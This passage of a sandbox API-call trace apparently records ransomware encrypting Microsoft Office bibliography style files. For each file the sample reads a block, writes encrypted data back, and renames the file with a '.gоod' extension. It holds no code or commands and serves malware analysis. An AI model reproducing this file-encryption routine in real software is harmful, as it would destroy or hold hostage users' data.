(hFile=0x828) returned 0x1 [0240.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0240.958] GetFileType (hFile=0x828) returned 0x1 [0240.958] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0240.958] ReadFile (in: hFile=0x828, lpBuffer=0x3a0d610, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x3a0d610*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0240.959] CloseHandle (hObject=0x828) returned 1 [0240.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", lpFilePart=0x0) returned 0x47 [0240.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0240.959] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0240.960] GetFileType (hFile=0x828) returned 0x1 [0240.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0240.960] GetFileType (hFile=0x828) returned 0x1 [0240.960] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x42132 [0240.960] WriteFile (in: hFile=0x828, lpBuffer=0x3a0ecc0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x3a0ecc0*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0240.961] CloseHandle (hObject=0x828) returned 1 [0240.961] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", lpFilePart=0x0) returned 0x47 [0240.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0240.962] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0240.962] GetFileType (hFile=0x828) returned 0x1 [0240.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0240.962] GetFileType (hFile=0x828) returned 0x1 [0240.962] ReadFile (in: hFile=0x828, lpBuffer=0x3a11278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x3a11278*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0241.536] CloseHandle (hObject=0x828) returned 1 [0241.536] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", lpFilePart=0x0) returned 0x47 [0241.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0241.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0241.536] GetFileType (hFile=0x828) returned 0x1 [0241.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0241.537] GetFileType (hFile=0x828) returned 0x1 [0241.537] WriteFile (in: hFile=0x828, lpBuffer=0x37b69f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x37b69f0*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0241.537] CloseHandle (hObject=0x828) returned 1 [0241.537] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL", lpFilePart=0x0) returned 0x47 [0241.537] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.gоod", lpFilePart=0x0) returned 0x4c [0241.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0241.537] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8c2d4171, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x42142)) returned 1 [0241.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0241.537] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690.XSL.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690.xsl.gоod")) returned 1 [0241.538] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", lpFilePart=0x0) returned 0x4f [0241.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0241.538] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl"), fInfoLevelId=0x0, lpFileInformation=0x37e7498 | out: lpFileInformation=0x37e7498*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2bb4725, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x351ea)) returned 1 [0241.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0241.538] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", lpFilePart=0x0) returned 0x4f [0241.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0241.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0242.000] GetFileType (hFile=0x828) returned 0x1 [0242.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0242.000] GetFileType (hFile=0x828) returned 0x1 [0242.000] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0242.000] ReadFile (in: hFile=0x828, lpBuffer=0x3be7620, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x3be7620*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0242.001] CloseHandle (hObject=0x828) returned 1 [0242.001] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", lpFilePart=0x0) returned 0x4f [0242.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0242.001] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0242.001] GetFileType (hFile=0x828) returned 0x1 [0242.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0242.001] GetFileType (hFile=0x828) returned 0x1 [0242.002] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x351ea [0242.002] WriteFile (in: hFile=0x828, lpBuffer=0x3be88d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x3be88d0*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0242.002] CloseHandle (hObject=0x828) returned 1 [0242.003] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", lpFilePart=0x0) returned 0x4f [0242.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0242.003] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0242.003] GetFileType (hFile=0x828) returned 0x1 [0242.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0242.003] GetFileType (hFile=0x828) returned 0x1 [0242.003] ReadFile (in: hFile=0x828, lpBuffer=0x3beaea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x3beaea8*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0242.039] CloseHandle (hObject=0x828) returned 1 [0242.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", lpFilePart=0x0) returned 0x4f [0242.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0242.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0242.039] GetFileType (hFile=0x828) returned 0x1 [0242.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0242.040] GetFileType (hFile=0x828) returned 0x1 [0242.040] WriteFile (in: hFile=0x828, lpBuffer=0x3be9be8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x3be9be8*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0242.040] CloseHandle (hObject=0x828) returned 1 [0242.040] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL", lpFilePart=0x0) returned 0x4f [0242.040] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.gоod", lpFilePart=0x0) returned 0x54 [0242.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0242.040] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8c7bed29, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x351fa)) returned 1 [0242.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0242.040] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\ISO690Nmerical.XSL.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\iso690nmerical.xsl.gоod")) returned 1 [0242.041] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", lpFilePart=0x0) returned 0x5e [0242.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0242.042] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl"), fInfoLevelId=0x0, lpFileInformation=0x3c674c0 | out: lpFileInformation=0x3c674c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x372dd15, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x3e4f3)) returned 1 [0242.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec330) returned 1 [0242.042] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", lpFilePart=0x0) returned 0x5e [0242.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0242.042] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0242.043] GetFileType (hFile=0x828) returned 0x1 [0242.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0242.043] GetFileType (hFile=0x828) returned 0x1 [0242.043] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x1000 [0242.043] ReadFile (in: hFile=0x828, lpBuffer=0x3c67988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec398, lpOverlapped=0x0 | out: lpBuffer=0x3c67988*, lpNumberOfBytesRead=0x204ec398*=0x1000, lpOverlapped=0x0) returned 1 [0242.096] CloseHandle (hObject=0x828) returned 1 [0242.706] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", lpFilePart=0x0) returned 0x5e [0242.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0242.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0242.706] GetFileType (hFile=0x768) returned 0x1 [0242.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0242.707] GetFileType (hFile=0x768) returned 0x1 [0242.707] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ec3c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ec3c8*=0) returned 0x3e4f3 [0242.707] WriteFile (in: hFile=0x768, lpBuffer=0x3a4a690*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ec2b8, lpOverlapped=0x0 | out: lpBuffer=0x3a4a690*, lpNumberOfBytesWritten=0x204ec2b8*=0x10, lpOverlapped=0x0) returned 1 [0242.760] CloseHandle (hObject=0x768) returned 1 [0242.760] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", lpFilePart=0x0) returned 0x5e [0242.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0242.760] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0242.761] GetFileType (hFile=0x768) returned 0x1 [0242.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0242.761] GetFileType (hFile=0x768) returned 0x1 [0242.761] ReadFile (in: hFile=0x768, lpBuffer=0x386f9e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ec348, lpOverlapped=0x0 | out: lpBuffer=0x386f9e0*, lpNumberOfBytesRead=0x204ec348*=0x1000, lpOverlapped=0x0) returned 1 [0242.839] CloseHandle (hObject=0x768) returned 1 [0242.839] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", lpFilePart=0x0) returned 0x5e [0242.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec270) returned 1 [0242.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0242.840] GetFileType (hFile=0x768) returned 0x1 [0242.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec1e0) returned 1 [0242.840] GetFileType (hFile=0x768) returned 0x1 [0242.840] WriteFile (in: hFile=0x768, lpBuffer=0x386e6e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ec3f8, lpOverlapped=0x0 | out: lpBuffer=0x386e6e0*, lpNumberOfBytesWritten=0x204ec3f8*=0x1010, lpOverlapped=0x0) returned 1 [0242.840] CloseHandle (hObject=0x768) returned 1 [0242.840] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl", lpFilePart=0x0) returned 0x5e [0242.840] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.gоod", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.gоod", lpFilePart=0x0) returned 0x63 [0242.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec330) returned 1 [0242.840] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl"), fInfoLevelId=0x0, lpFileInformation=0x204ec410 | out: lpFileInformation=0x204ec410*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8cf58722, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3e503)) returned 1 [0242.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec2f0) returned 1 [0242.840] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\MLASeventhEditionOfficeOnline.xsl.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\mlaseventheditionofficeonline.xsl.gоod")) returned 1 [0242.842] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", nBufferLength=0x105, lpBuffer=0x204ebea0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL", lpFilePart=0x0) returned 0x47 [0242.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec370) returned 1 [0242.842] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\bibliography\\style\\sist02.xsl"), fInfoLevelId=0x0, lpFileInformation=0x396b828 | out: lpFileInformation=0x396b828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1a2f1, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2e1a2f1, 